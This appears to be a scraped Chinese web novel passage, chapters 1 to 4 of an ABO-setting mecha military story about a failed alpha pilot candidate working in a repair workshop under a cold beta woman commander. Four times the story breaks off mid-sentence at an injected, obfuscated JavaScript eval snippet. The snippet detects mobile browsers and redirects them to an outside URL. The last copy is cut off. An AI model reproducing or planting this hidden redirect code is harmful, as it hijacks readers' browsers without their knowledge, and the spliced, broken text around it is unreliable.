《男A,但被始乱终弃》 1. LOGIS的alpha 很多说着人生一眼望到头的人,其实连明天会发生什么都无法预测。 维修部门的作息说起来是朝六午四,但下午四点之后有很长的灵活工作时间,认真算起来的话并不轻松,所以一个半小时的午间休息时间格外宝贵。 卫嘲风迅速解决午餐,来到挂着“小憩”招牌的休息室,想找一个僻静的位置坐坐,为下午的作业养足精神。 然而还没走进大门,就听见里面传来令人不快的声音。 毫不掩饰的下作的笑声,接着是一声尖叫。 有人从门里跑了出来,由于太过匆忙,正好和他撞了个满怀。 有什么东西像根弹簧似的从男性alpha的身上弹到两米开外,不住发出道歉的声音。 一名头发被弄得乱七八糟的女性beta。看起来受了一些惊吓,脸色苍白。 “对不起,怪我走路太急。”卫嘲风有些担忧地看着她,主动揽下了责任,“你没事吧?” “没事的。”beta说。 她模样看上去有些狼狈,语气也充满小心,但神情却超乎寻常地平静,没有多给旁人一个眼神,稍稍整理了一下发型,径直离开了。 软弱是独属于omega的特权。身为beta,如果不能变得足够坚强,等待他们的很可能就是凄惨的命运了。 这是社会的共识,光靠一个人的良心发现可没法改变什么。 而军队更不是什么纯洁的地方,尤其是负责后勤支援的LOGIS。 卫嘲风走进休息室的大门,一瞬间还以为自己来到了STELAR。 神情不可一世的alpha的男男女女们盘踞其中,空位所剩无几。 前线部门STELAR是alpha的绝对主场,相对的,beta填充了LOGIS的大部分岗位,其中的维修部门更是有着整个军队最高的beta比例。 在刻板印象和实践经验的双重作用下,社会大众认为beta的性格适合需要细致和耐心的工作。而机械维修则是这类工作的代表。 然而越是在beta占据主流的地方,仅有的那些alpha们就越喜欢聚集在一起,抱团欺压他们瞧不上的平庸的beta们。 卫嘲风朝着离那帮人最远的那个空位走去,其中一些人抬头看了他几眼,象征性地用点头或者抬下巴的动作表示问候,他也用点头的方式进行回礼。 这些人为了占领休息室,没有去食堂用餐,如今正在瓜分通过敲诈同事得到的三明治。 “怎么又是这个口味啊?我都快要吃腻了诶!” “那家伙为了省钱,所以尽挑便宜货嘛。” “让你们吃免费午餐已经很好了,还要被挑剔口味的问题,真是麻烦。” “哎唷,你怎么突然装起好人来了?说吧,那家伙私下拿什么东西贿赂你了?” “怎么可能。我只是没你那么恶劣。” “切。” 真是一群糟糕透顶的家伙。虽然心里这样想着,却也没有办法采取行动。 更遗憾的是,即使努力和那些人保持距离,说不定还是会被当成一伙。 毕竟都是被分配到LOGIS的alpha。 卫嘲风有些烦闷地靠着墙壁闭目养神。 Alpha的荷尔蒙天然会导致暴力冲动的累积,战斗或性是消除冲动的惯用方式。抑制剂也能起到暂缓作用,但长期强行压制的话会反弹得更厉害。 无法消解冲动的alpha会无意识地把压力发泄到弱者身上。 这是靠良知都难以克制的,刻写在基因当中的野蛮本能。 LOGIS有一个暗默的别称:alpha终结地。其来由便是无法参与战斗、也没有固定伴侣的后勤alpha们总是会变成令人讨厌的暴力分子。 这也是卫嘲风想要尽快申请调动的原因之一。 和三明治有关的话题没有持续太久,无聊的alpha们很快就转而谈起近期在宙域出现的A级群落的消息。 “群落”是地外星际生物的统称。按照危险程度的高低,人类将它们分为S、A、B、C、D五个等级。 其中A级群落显然属于比较难对付的一类,其成员往往有着难以解析的身体构造,以及具备一定水准但无法与人类进行沟通的智能。 对战时如果不能速战速,A级群落就有可能凭借繁殖周期的优势对人类形成压制。 “这个群落的危险系数很高,所以指挥部目前正在扩充作战队伍,同时催促后勤这边增加BOS的机体供应。” “所以长官最近一直没来车间露脸啊,肯定是在调达那边和军工厂谈判啰。” “造机甲又不是造玩具,哪有那么简单?她行不行啊?” “我前几天去调达那边要零件的时候看到过她,也没见多着急的样子,还说这两天会到车间走一趟,估摸不是今天就是明天。” “哇,解决了?军工厂不是正和元帅闹矛盾吗?她给调解好了?” “行了行了,军工厂那边也知道轻重缓急,不至于在这种事情上使绊子。” “谁知道呢,那边说不定也有不服她的人,正好揪着机会逼她下马。” “放心,她一直很有办法的啦。” 周围再次响起一阵笑声,也不知道在笑什么。卫嘲风从他们的阴阳怪气中听出了一丝不怀好意。 恐怕他们口中的所谓“办法”,八成是登不上台面的那种。 LOGIS的最高长官是一位女性beta。 女性,beta。 这是表示第一、第二性别均处于社会弱势地位的标签。 由携带这种标签的人物担任军队的高层,对于大多数军校出身的年轻人来说也许是件让人意外的事。 但卫嘲风在得知这一事实的时候并没有多想,毕竟那种情况少则少矣,倒也不是闻所未闻。 总有不知天高地厚的alpha认为这个世界是为他们运转的。 如果说omega的存在只是为了延续他们的优良基因,那么beta毫无疑问是他们的陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136350|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衬——如果没有劣等品的对比,优质品也就不足以被称为优质品了。 一位优秀的beta往往比一名糟糕的alpha要好得多,很多人总是刻意忽视这一点。 而对事业有成的beta妄加揣测几乎已经成了一种社会风气。 所谓社会风气即意为,很多beta自己也是这么做的。 Alpha们的对话还在继续,而且内容愈发露骨。 “我说啊,那种方法真的有用吗?对军工厂高层那种级别的alpha来说,找个愿意和他们上床的omega还不简单?” “偶尔也要换换口味的嘛。” “可是你想啊,要是哪天你发热了,手头没有药,身边又只有长官……你敢让她帮你处理吗?” “那也是不得已的嘛。过热是真的会死人的好吧!你又不是没经历过。” “我宁可过热死掉也不会找长官帮忙解决的。拜托,那可是一团肌肉诶!” 最后说话的人猛地摇了摇头。 众人发出默契的笑声,好像只要他们想,就能轻而易举将那位长官拿下一样。 他们在选拔考试中输给了自己的同性,却又不甘和beta为伍,所以一边欺压比自己弱的beta,一边往比自己强的beta身上泼脏水。 即使知道事出有因,卫嘲风还是为和这些人身为同性而感到羞耻。 而想到刚才那个遭受霸凌的beta职工,他觉得放任恶行滋生的实权者也该为此负责。 LOGIS的长官不是beta吗?她应该知道这一性别的困境,为什么没有为自己的同性下属提供保护呢? 还是说,能够走到那个位置的beta,注定只能是早早放弃同理心的、冷酷无情的家伙吗? “嘘!” 不知是谁发出了一声紧促的提醒。 周围顿时安静下来。 偌大的车间里只能听到被捏皱的三明治塑料包装偷偷复原的声音。 刚才还在眉飞色舞的alpha们完全换了一副姿态,就差瑟瑟发抖了。 卫嘲风好奇地睁开眼睛,看到一个穿着蓝色咔叽布工装的身影从休息区边上的通道走过。 从工装肩膀和后背处的特殊纹样可以判断,军衔是上校。 而在这里拥有上校军衔的,势必就是那位神秘的beta长官了。 卫嘲风用视线追着那道背影,心里有种不可思议的感觉。 他还从没见过能让成年alpha噤若寒蝉的beta。 那人虽然穿着厚实的工作制服,但是从着衣的轮廓来看,显然还不至于被形容为“肌肉的团块”。 是典型的beta体格。 身高在beta里也只能算中等偏上,不过比例出挑,所以显得相当修长。 齐耳短发,麦色皮肤。没有看到正脸,却已然感受到她身上的凛冽气质。 她很快就消失在众人的视野中,但即使如此,几分钟前还在大放厥词的alpha们也没敢再多说一句。 2. 左眼是冰海 宝贵的午休时间转瞬即逝,后半日的预备铃响起,工兵们像蚂蚁一样四散到自己的岗位。 在巨大的人形机械面前,活生生的人显得那么渺小。 卫嘲风穿戴着维修车间专用的活动吊索,像蜘蛛似的吊在半空,用经过特殊技术处理的清洁道具擦拭着机甲的胸腔。 隔着一层厚厚的合金板,后面就是他自幼便无比向往的神秘空间。 人只要坐在那个狭小的空间里,就可以操控如此庞大的机械巨物,在无穷无尽的宇宙中像鸟一样飞翔,像鱼一样徜徉,光是想象就让人觉得心神激荡。 “小子,手停下来了哦。看什么呢,这么入迷!” 前辈的声音穿过各种引擎的轰鸣声和齿轮切合声从不远处传来。 卫嘲风从青春期的迷梦中回过神,继续进行枯燥乏味的清洁工作。 梦想和现实之间存在误差也是不可避免的事,但他的人生迄今为止从未出现过这样巨大的失败。 在确定第二性别之前,他就已经把成为驱动者作为人生理想。 十五岁,如愿分化为alpha,加入军事养成学校,直到一个星期前的结业为止,一共接受了整整七年严酷的训练。 然而保持多年的优秀成绩在最终的选拔考试中打了水漂。 他成了一个落败者,被毫不留情地发配到位于地面的LOGIS模块。 排名一直在他后面的同届生桑奇反而以擦线的分数进入STELAR,分别时还好心安慰他:“如果表现优异的话,似乎以后会有机会申请调动。” 正是因为看到了这条后路,卫嘲风才没有就此一蹶不振。 “记得和长官搞好关系。如果被长官讨厌了,别说帮你申请调动,不弄死你都算好的呢。” “这我当然明白。” “但是也不能把关系搞得太好。” “为什么?” “要是你自己当长官的话,也会希望身边有个得力助手的吧?让长官喜欢到不想放手的话,事情不就会变得很尴尬嘛?” “既要搞好关系,又不能把关系搞得太好,到底是要怎样啊?” “你自己琢磨吧,毕竟每个人的好恶都不一样。不过还是很让人担心诶,”桑奇用遗憾的眼神看着即将分道扬镳的同学,“你是个优秀的家伙,可惜不擅长揣摩别人的心思。” 卫嘲风的性格说好听点是率直,说难听点是情商低,他做不到曲意逢迎,但这并不意味着他不懂得察言观色。 如果长官是个没有说服力的人物,他不确定自己能不能为了实现梦想而违心地溜须拍马。 不知道和长官的关系要好到哪种程度才能提高调动申请的成功率,至少无论如何都不能招致对方的讨厌,只有这点是可以肯定的。 来到LOGIS的头一个礼拜,卫嘲风还没能与长官打上照面。 LOGIS的全称是Logisticaloperations&groundinfrastructuresupport,即后勤作战与地面基础设施支援,由于缩写刚好和logistical撞了开头,故而总给人一种刻板的后勤大队的印象。 实际上,该模块除了承担着物资调达、设备维修、空地联络等各种后方事务之外,还要参与医务部和军医院的运营,以及宇宙生物和空间科学研究,对军民两方都是不可或缺的重要存在。 而因为下辖业务范围广泛,长官自然异常忙碌,一时半会见不到面也是正常的。 初到这里的新人要在后勤各部门间进行轮岗,直到了解该模块所有业务,并经过各部门负责人的综合考评,才会得到确定的部署。 而那次综合考评,很有可能是能给长官留下好印象的唯一机会。 一定要在考评中拿到引人注目的成绩——因此,即使对部署再不满意,卫嘲风也从不怠慢,除了偶尔会对正在经手的机甲产生幻想。 一整个下午,长官都在车间巡视考察,卫嘲风时不时能从排列整齐的人形机械的空隙看到她穿行其间的身影,因此难以集中精神。 那个人有怎样的品行和能力? 是一个能让他尊敬的存在吗? 能和那个人搞好关系吗? 和那个让alpha们都战栗不已的beta女性。 下午四点的铃声响起时,距离计划的进度还差很多,卫嘲风申请了灵活作业时间,继续埋头苦干,修理完那台ECLIPSERAVEN的时候,终端显示已经是晚上八点了。 他调整了一下吊索,让自己回到地面。 车间里只剩没几个人,从机甲之间的狭窄通道走向主干道的途中,中午撞上的那个beta工兵还在加班加点。 她的任务也是ECLIPSERAVEN。 蚀鸦。今年年初才正式服役的第五世代BOS,简称ER。 虽然在投入使用前已经在前线和后方都进行了大量测试,但也不能保证每个工兵都对它了如指掌。beta工兵显然就遇上了难题。 卫嘲风想上前看看有没有能够帮忙的地方,一个声音先他一步。 “ER的主系统和四肢在线路上的联动更加密切,如果在主系统中找不到问题,可以先确认一下是不是肢端的故障。对了,最好再看一下热辐射板有没有移位。” Beta应了一声,降低了缆绳高度,开始检查机甲的腿部动力系统。 卫嘲风没能在人前露一手,悻悻地从两排机甲的腿间穿到主干道上,发现说话的人就是穿着工作服装的长官。 要打个招呼吗? 像他这样的新兵,见到长官没有不行礼的道理吧? 尽管清楚这套规矩,但执行起来却意外困难。 卫嘲风绝不承认自己也和那些人品存疑的同僚们一样,也被那个人给震慑住了。 在距离长官还有两米远的地方,他终于鼓起勇气,立正行礼问好一气呵成。 “嗯。”beta女性冷淡地应了一声,连一个眼神都没给,就转身走开了。 卫嘲风无意识地咬住下唇,快步离开了车间。 大概是有些不服气和不甘心吧。 第二天午休的时候,“小憩”门庭冷落,所有人都乖乖去了食堂,包括那些总喜欢“抢占领地”的alpha。 卫嘲风端着托盘,在食堂里扫视了一周,迈步向西北角的方向走去。 那个beta工兵就孤零零地坐在那里。 坐在这种地方,应该是不想在大庭广众之下被找茬吧。 但实际上这个选择反而会给好事之徒可乘之机,因为角落可是最容易被堵死的位置。 卫嘲风挑了一个不远不近的座位坐了下来,心想万一那群alpha真的来挑事,他至少可以帮忙阻拦一下。 目中无人的小团体果然大步向这边走来,嚣张的气焰让人感到头皮发麻。 卫嘲风紧张了起来,从饭碗里夹起一团米,打算用奇偶数来决定自己的行动。 上,不上,上,不上,上,不上…… 米粒的数量逐渐减少,答案也渐渐明晰起来,心情则越来越糟糕。 咔嗒一声,托盘和桌面轻微碰撞的声音,但有着尘埃落定般让人心安的效果。 穿着和昨天同样服饰的beta女性在工兵的对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136351|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面坐了下来。 正在向角落逼近的坏份子们顿时停住脚步,面面相觑,然后灰溜溜地转向另一个角落。 突然“降临”的beta女性若无其事地闷头吃饭,坐在她对面的工兵似乎松了一口气。 同样松了一口气的还有卫嘲风。 能将风波扼杀于尚未开始之时,那是最好不过的了。 不知道为什么,他突然对那个自己并不了解的长官有了些许改观。 她或许并不是他以为的那种自我以下阶级分明的人。相反,虽然看起来高傲而冷漠,却会不动声色地给人以安全感。 毕竟人以一己之力很难改变生物本能、职场风气和社会共识,在力所能及的范围能提供庇护已是难得。 今天的休息室非常安静,没有人嘴碎,就算有人聊天,说的也全是工作上的内容。 某一人物的出没让这里的氛围变得比过去沉重,不过卫嘲风觉得比被迫听下流笑话要好多了。 “小子,过来一下。”一个声音打破了寂静。 卫嘲风睁开眼睛,看到前辈正在外面冲他招手,立刻迎了过去。 “出什么事了吗,前辈?” 前辈没有明言,只是说了一句:“跟我来。” 卫嘲风跟了上去,穿过由待修理的BOS们构成的一条条通道。这场景让他想起军校正门口的那条林荫大道。 道路的尽头站着一个人,那人左手持着平板式终端,右手正在屏幕上操作着什么。 她应该能够觉察到有人正在靠近自己,但却选择了不予理会的态度。 直到前辈出声喊她,她才淡淡地嗯了一句。 果然比小团体里的alpha们还要趾高气昂。怪不得能镇住那些家伙。 “这是现在在跟着我实习的新人,卫嘲风。聪明能干的小伙子。”前辈早就习惯了她的那种性格,非但没有介意,还殷切地向她推荐自己的“弟子”。 卫嘲风立刻板正身姿,对着头也不抬的长官行了一个军礼。 Beta女性这才抬起头来。 目光像一把冰冷的刀子,无声地胁迫着被注视到的所有目标。 右眼是正常的深棕色,而异于常人的左眼让她的表情看起来充满狠戾的气质。 一只和这里所有一切都显得格格不入的浅灰色眼睛。 深色的瞳孔嵌在冰海的正中。 富有特点的长相和气质,看过一眼就很难忘记。 非得分个美丑,那应该是偏向于美的。 如果不当军人而选择当一个模特的话,应该可以靠那种独特的气质收获大量beta和omega的拥趸。 可惜那种气质不符合alpha的主流审美。 所以那些玩笑终归是玩笑。 她只看了他一眼,但很快又继续开始了对平板的操作 “卫嘲风,我知道。军校时期的优等生,前途大好的alpha男性,第一志愿是ECHO。怎么跑到这里来了?” 这番戳人痛处的话让受害者即刻萎缩起来。 然而卫嘲风知道,不仅仅是因为她的质问,她身上无处不在散发着的掌控与支配感、被克制过的盛气凌人、不对等的权力关系,才是让他感到如芒在背的根本缘由。 他此刻的心情比新入学时在全校师生面前进行演讲更加紧张。 他面对的不是千军万马,只是一个女性,一个beta。 “好好加油吧。如果遇上什么麻烦,可以去办公室找我——如果我在那儿的话。” 在他身上的不自在达到极限的时候,beta女性终于说了一句稍微像样点的话。 3. 士别三日当刮目相待 很快就到了下午开工的时间。 卫嘲风手里拿着用来调整内部中央控制单元的多功能扳手,吊着缆绳,悬停在一台损坏度较高的ER附近。 头顶上的探照灯映照出复杂的机械结构,他很快就找到了问题部位,并迅速调整了光纤电缆接头的角度。 是剧烈震颤所导致的部件松动。 只要在确认松动部位后直接加固就万事大吉。 准备前往一个待修复位置时,有人叫了他的名字。 “卫嘲风。” 独特的音色。 让人想起北地寒冬的凛风。 转过头去,果然对上了一道锐利的视线。 “长、长官。” “汇报。”beta女性用波澜不惊的声音命令道。 Alpha不知道自己为什么会突然被叫停,不过他对工作还算有信心。可为什么在凝视着那只浅色眼睛的时候,会有做贼被抓现行般的心虚之感? “报告长官,机甲动力系统出现故障,主因是缆线松动。处理方式是对中央控制单元的电缆接头进行加固。” “高频波发射器的连接状态?”beta女性用质疑的语气问道。 ——被看轻了! 确认辅助供电模块和高频波发射器的连接状态是进行动力系统维修时要做的第一件事,上学的时候老师提醒过无数遍,最蹩脚的工兵也不会忘记。 “我检查过,没有问题。”他隐隐有些不快。 “再检查一遍。” 没有解释原因,beta女性只是单纯地下达命令。 和欺软怕硬的alpha一样,仗势欺人的beta同样让人讨厌。 他们喜欢以挖苦低位的alpha取乐,以弥补因为性别而遭受的不公平对待。 这是一名beta女性,所以会照顾自己的同性下属也没什么好奇怪的,这无法证明她的内在性格具有任何闪光点。 对beta的善意和对alpha的仇视本就不是互斥关系,甚至大多数时候是伴生的。 卫嘲风觉得自己看错她了。 不可否认,她是一个极具魄力的长官,但不一定是个好人。 问题在于—— 她的态度能够决定自己日后的出路。 如果被穿小鞋的话,就做好一辈子没法晋升的准备吧。 权衡再三后,alpha最终还是乖乖返回到动力系统附近,检查高频波模块的状况。 在看到被灯光照亮的线路时,他倒吸一口凉气。 原本已经确认没有问题的高频波发射器,此时竟出现了一处角度细微但影响重大的错位。 他赶紧将错位处拧好,又拿万用表测试了一下电压稳定性以及波频范围,确认万无一失之后,才放下扳手,心惊胆战地向地面看去。 那里已经空无一人。 工装的女性正步履匆匆、头也不回地向车间大门走去。 “你觉得长官做了什么小动作特意刁难你?” 结束工作后,卫嘲风忍不住找前辈聊起了这件事,结果成功把前辈给逗笑了。 “高频波模块的最低处离地面也至少有三米高,她是用什么动手脚的,魔法吗?” 用魔法远程控制,将电缆弄松——这是不可能的。 “但是我可以用性命发誓,事先确认的时候没有任何问题!”卫嘲风言之凿凿,并且还伸出了四根手指,放在额头前面。 “行了行了,我相信你。”前辈把他的手压了下来。 “告诉你吧,中央控制单元的电缆在末端会接触到各个辅助模块,因为角度的关系,在维修过程中经常会发生联动,应该是你在加固中央控制单元的时候动作太大,所以才会导致另一头连接高频波模块的电缆出现松动。” “什么?” “现在军校还在用四代机进行操作实习,对五代机的了解不够全面也是难免的。习惯就好,不要灰心。” 话虽如此,卫嘲风也知道,如果真的放任那台ER流入战场,搞不好真的会害死人。 如果没有长官的提醒,无论是到复检时被查出不妥,还是到了战场才暴露问题,都会对他的前途造成非常不利的影响。 从某种意义来讲,那个人救了他一命。 “她站得那么远,到底是怎么……” 前辈笑了笑:“这是新人常见的失误。长官应该是考虑到你才刚刚开始实际接触修复工作,不清楚这些细节,才特意提醒了一句吧。虽然我们长官不是什么善茬,但也还没有刻薄到要故意捉弄一个没做什么坏事的新人。” ……不是善茬。 这个说法还真是不客气。 “对了,前辈,其他部门出事了吗?” “为什么这么问?” “我看到长官好像很匆忙地离开了车间。” “好像是实验室那边发生了一点状况……不是我们要关心的事,长官会处理好的。” 负责指导卫嘲风的前辈名为蓝远山,从军已经超过十年,直到去年为止都还在前线奔波,今年年初主动申请调职,进入LOGIS服役。 都说在军队找一名性格温厚的alpha比找一个omega还难,蓝远山就是那种稀少到可以被当成保护动物的性情极度温和的alpha军人。 或许是因为已经过了荷尔蒙分泌旺盛的年龄,他并没有像后勤部的其他年轻alpha一样变得暴躁易怒。 他不仅曾在STELAR服役,而且还是精锐部队ECHO的驱动者,从他身上能够学到的东西多到让卫嘲风觉得呆在LOGIS也不完全算是浪费时间。 “前辈和长官很熟吗?” “说不熟肯定是假的,毕竟有十年的交情呢。不过她是那种很难交心的人,所以我也说不好那个度。” 卫嘲风表示完全能够理解这种说法。 她身上那股拒人于千里之外的气息太过猛烈,让人完全无法想象她与人真心交好是什么样子。 “虽然看上去是那副样子,不过我觉得她应该会中意你的。那个人对勤奋刻苦的新人向来心慈手软。” “心慈手软”这个说法着实有些微妙,“中意”更是一个暧昧不清的词汇,不过这话还是让年轻的alpha精神一振,他用力点点头:“我会好好干的。” 如果“勤奋刻苦”能够得到认可的话,说不定就可以在调动事宜上获得那个人“心慈手软”的帮助了。 第三周的周一,卫嘲风吃过中饭,照例来到“小憩”,发现长椅上已经有了先客。 蓝色咔叽布工作制服,齐耳短发。 正是冰雕一样的堂堂LOGIS的总负责人。 卫嘲风规规矩矩行了一个礼,在距离那个人大约两米远的地方坐下,做了一个深呼吸,开始闭目养神。 然而身体和精神都完全无法放松下来。 那是一个beta,一位女性,一个人类。 归根究底,到底有什么好怕的?或者说,他到底在怕什么? 那个人还能吃了他不成? 闭目不过十几秒,他就在好奇心的驱动下睁开了眼睛,小心地窥伺着那个人。 那人原本在用平板查看资料,但回过部下的礼后便中止了工作,放下平板,沉默地坐着。 卫嘲风鬼使神差地开了口:“长官,请问是维修部门的工作出问题了吗?” Beta女性将目光移了过来:“为什么这么说?” 卫嘲风咽了一口唾沫,努力迫使自己镇定下来。 “LOGIS负责的事务很多,我想如果不是有特殊状况,长官一般不会在同一个部门呆这么久。” Beta女性迟迟没有接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136352|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 就在卫嘲风以为她不打算解释的时候,她揉了揉太阳穴,开口道:“三个星期前,48号A级群落出现在前线宙域。” “听说目前战况有些吃紧。” “指挥部要求增加服役的BOS数量。工厂那边供应跟不上。” “嗯。” “缺口的部分,我打算直接从车间出。” 卫嘲风哦了一声,过了几秒才反应过来:“从维修部出?可是我们这里又没有机甲生产线……” “格纳库里有不少旧机体。” “那些退役的旧世代吗?可是那些机体已经老到没法上战场了!要进行改装吗?就算是上级的命令……这样做不太好吧?过去不是还发生过事故吗?!” ——那是一起用旧机体代替新机体出战,结果因为机械故障导致十几人死亡的严重事故。 调查结果显示,LOGIS的长官涉嫌挪用公款、贪没公财,数额过分惊人,最终被判处流放。 这件事还被民间媒体评为近十年来军部的最大丑闻。 如今的长官就是接替那位流放者才上任的。 可她似乎完全没有要引以为戒的样子:“只要确保处理得当,就可以最大限度降低风险。” “你、你这不是在拿战士们的生命开玩笑吗!” “我在开玩笑?不如你来想个严肃认真的办法?” 在那冷冽声线的嘲弄,以及无情眼神的逼视中,卫嘲风冷静下来,并逐渐想起一个礼拜前在休息室听到的对话。 是军工厂那边出现了问题。 不是说还有“那种手段”的吗? 因为这个突如其来的念头,卫嘲风差点想痛打自己一顿。 他摇摇头。“是材料或者部件的供应短缺?” 军工厂就算真的和前线军官存在个人龃龉,也不可能在大局面前如此小鸡肚肠。 这个节骨眼上没法供应足量的机甲,肯定是有不得已的原因。 Beta女性的表情稍微缓和了一点:“不算太笨。” 如果是这样的话,那选择改造旧机体确实是无奈之举了。 可就算是无奈之举,也未免太过大胆 把旧世代机体提升到与新世代同等水平,可不是按一个升级键就能做到的事情。 主持此事所要承担的责任和风险也绝对非同小可。 能够冷静地做出这个决定——也许这才是她身上那种魄力的来源。 卫嘲风突然兴奋起来。 “我也想帮忙,长官!” “一个没有发现高频波模块发生松弛的新人?” 卫嘲风被这句话堵得无言以对。 “到时候恐怕会有很多人反对这个计划,我确实打算让一些新人加入。等到图纸敲定之后,会进行一次考核。” “通过考核之后,就可以参加任务了吗?” Beta女性用盯着猎物般的眼神凝视着两米开外的部下,淡淡地嗯了一声。 卫嘲风接住了那道视线,两眼放光似的问道:“任务代号是什么?” “只是一项临时命令而已,比起军事行动差得远了。没必要多此一举。”beta女性的头向右歪了一个极小的角度,“非要安个名称的话……” “‘士别三日’怎么样?!不是有句话叫‘士别三日当刮目相待’吗。” 原本面无表情的beta女性在听到这傻气的发言之后,突然扬了一下嘴角。 唇线的变化弧度几乎微不可察,但飘荡在她身边的空气一下子柔和起来,仿佛亘古不变的冻原突然迎来了春天。 Alpha突然高兴了起来。 起初他还不知道那是为何。 慢慢地才明白,让一个原以为根本不会笑的人展现笑容,竟会使人感到如此满足。 真是不可思议。 4. 与有荣焉的beta * 旧机体改造计划的具体内容很快就被公布在车间,果不其然地掀起了强烈反对的浪潮。 “对前线战士的生命太不负责任了!”这种预料之中的声音也是层出不穷。 至少在明面上,这是最主要的反对理由。 因为当初那件丑闻,人们把“以旧充数”等同于“不负责任”完全有据可循。 不过,在进行了详细的可行性和必要性讨论,并展示了部分图纸之后,一部分人被说服并加入了支持者的阵营。 于是剩下的那些仅仅出于对上司的不服气而发出的充满私怨的抗议便显得蛮不讲理起来。 长官态度强硬地无视了这些声音,有条不紊地按计划推进工作。 主动报名参与该项目的人不在少数,说明她在这里也不乏拥护者。 卫嘲风也顺利通过考核,成为项目的一员。 不知这件事怎么戳到了某些alpha们的痛处,他们在私底下给这个新人贴上了谄媚的标签,并毫不讲理地将他加入了下流玩笑的佐料礼包。 长官最终还是没有公布“士别三日”这个代号。卫嘲风后知后觉地意识到,她当时兴许是被自己的幼稚和率直逗笑的。 是一种上位者的“慈爱”。 但也无所谓。眼下,对那位长官的敬佩之情足以让他忽略这些细节。 * 很多时候,对旧机体进行改造的难度远远大于重新制造一台新的机体,但在指挥总部的催促之下,容不得车间慢工细活。 加班加点是绝对少不了的必修课程,可又不能因为追求速度而忽视质量。 正如反对者们叫嚣的那样,必须要对前线战士的生命安全负责,故而在装备更新时不能有一丝马虎。 论操作熟练度,卫嘲风远比不上已经在维修部门呆久了的老手,为了确保不出现上次那样的失误,他还要花费很多时间在复查和测试上。 在工作量和死线的压迫下,吃饭和睡觉的时间是最容易被抛弃的。。 长官定下的任务日程表明她很可能没把下属当人看。但很奇怪,他没有因此感到懊恼。 如果有一天他真的成了一名ECHO的驱动者,他当然希望自己所搭乘的机体安全可靠。 正是怀着这种将心比心的念头,即使受到压榨他也甘之如饴。 更重要的是,他认为自己当下的这种努力将成为进入ECHO的最佳投名状。 在第三个礼拜即将结束的那天,长官在午休开始时把他叫到了自己的办公室。 那时候他已经两天一夜没有合过眼了。 “休息一会儿吧。” “不行,会赶不上进度的。” “我会让蓝远山帮你,珂琳也可以接替你的工作,你今天中午就在这儿睡一觉。” “我睡不着。” “休息质量和工作质量也会挂钩。如果因为状态不佳导致工作失误怎么办?” “可我不累。” Beta女性在办公桌前坐下,仰头看了部下一会儿。“看来alpha的体力确实更有优势。” 卫嘲风坐在办公桌对面的长沙发上,小心地打量着办公室的装饰——寡淡到一目了然,没有任何探究的价值。 “我一直很重视耐力训练。预备校不是会有行军拉练吗?在那种锻炼强度下,我还坚持了四天四夜没有睡觉呢。” “从军是你的目标?” 卫嘲风扬起了脑袋:“不准确,我的理想是成为一名驱动者!” 他以为长官会对这个话题产生兴趣,再不济也会追问一下契机和理由之类的问题。 但beta女性没有展开对话的意思,就此缄口不言,身为下属的卫嘲风没法厚着脸皮自说自话。 拜托,再问点什么呀。 ——即使他在心里这样期盼着,对方也毫不领情,并且索性将他搁置一边,自己对着平板忙碌起来。 说是要他来午休,结果自己却忙着工作。 卫嘲风还怀着一丝未能直抒胸臆的不满,又不能将这种不满表现在脸上,长官将自己的沙发让出来供他午休,他应该感恩戴德才对。 于是他侧身躺了下去。 …… 卫嘲风是被机器运作的声音吵醒的。 在被吵醒之前,他没想到自己真的能睡着。 似乎躺下之后还没过多久,他就失去了意识,也许是真的累了。 “吵到你了?”长官看他坐了起来,淡淡地问了一句,但语气中完全没有愧疚的意思。 卫嘲风看到不远处的打印机吐出了几份文件,“那是什么?” “最后一个型号的图纸。多亏了你们的努力,总算能赶上指挥部的死线。” 退役机体的型号性能、老化损伤程度各不相同,不同于工厂用统一图纸制造的量产机,几乎每台待改造机体都配有一张专门的工程图纸。 改装设计绝对没有想象中的那么容易,设计师必须对原型机体了如指掌才能做出正确的改造。 翻新工作一共涉及27台机甲,包括跨越三个世代的9种不同型号,有些型号还有不同细分,将这些具有复杂差异的机体改造为统一型号,其中所涵盖的工作量一定多到无法想象,光是吃透旧有设计就得花上好长时间。 能在短时间内解决这么多图纸,想必这位长官和军工厂的某位高级工程师关系匪浅。 不然谁会愿意在工作之余替她操心这些? 如果这批翻新机甲在投入实战后发生什么差池,奉送图纸的工程师绝对吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 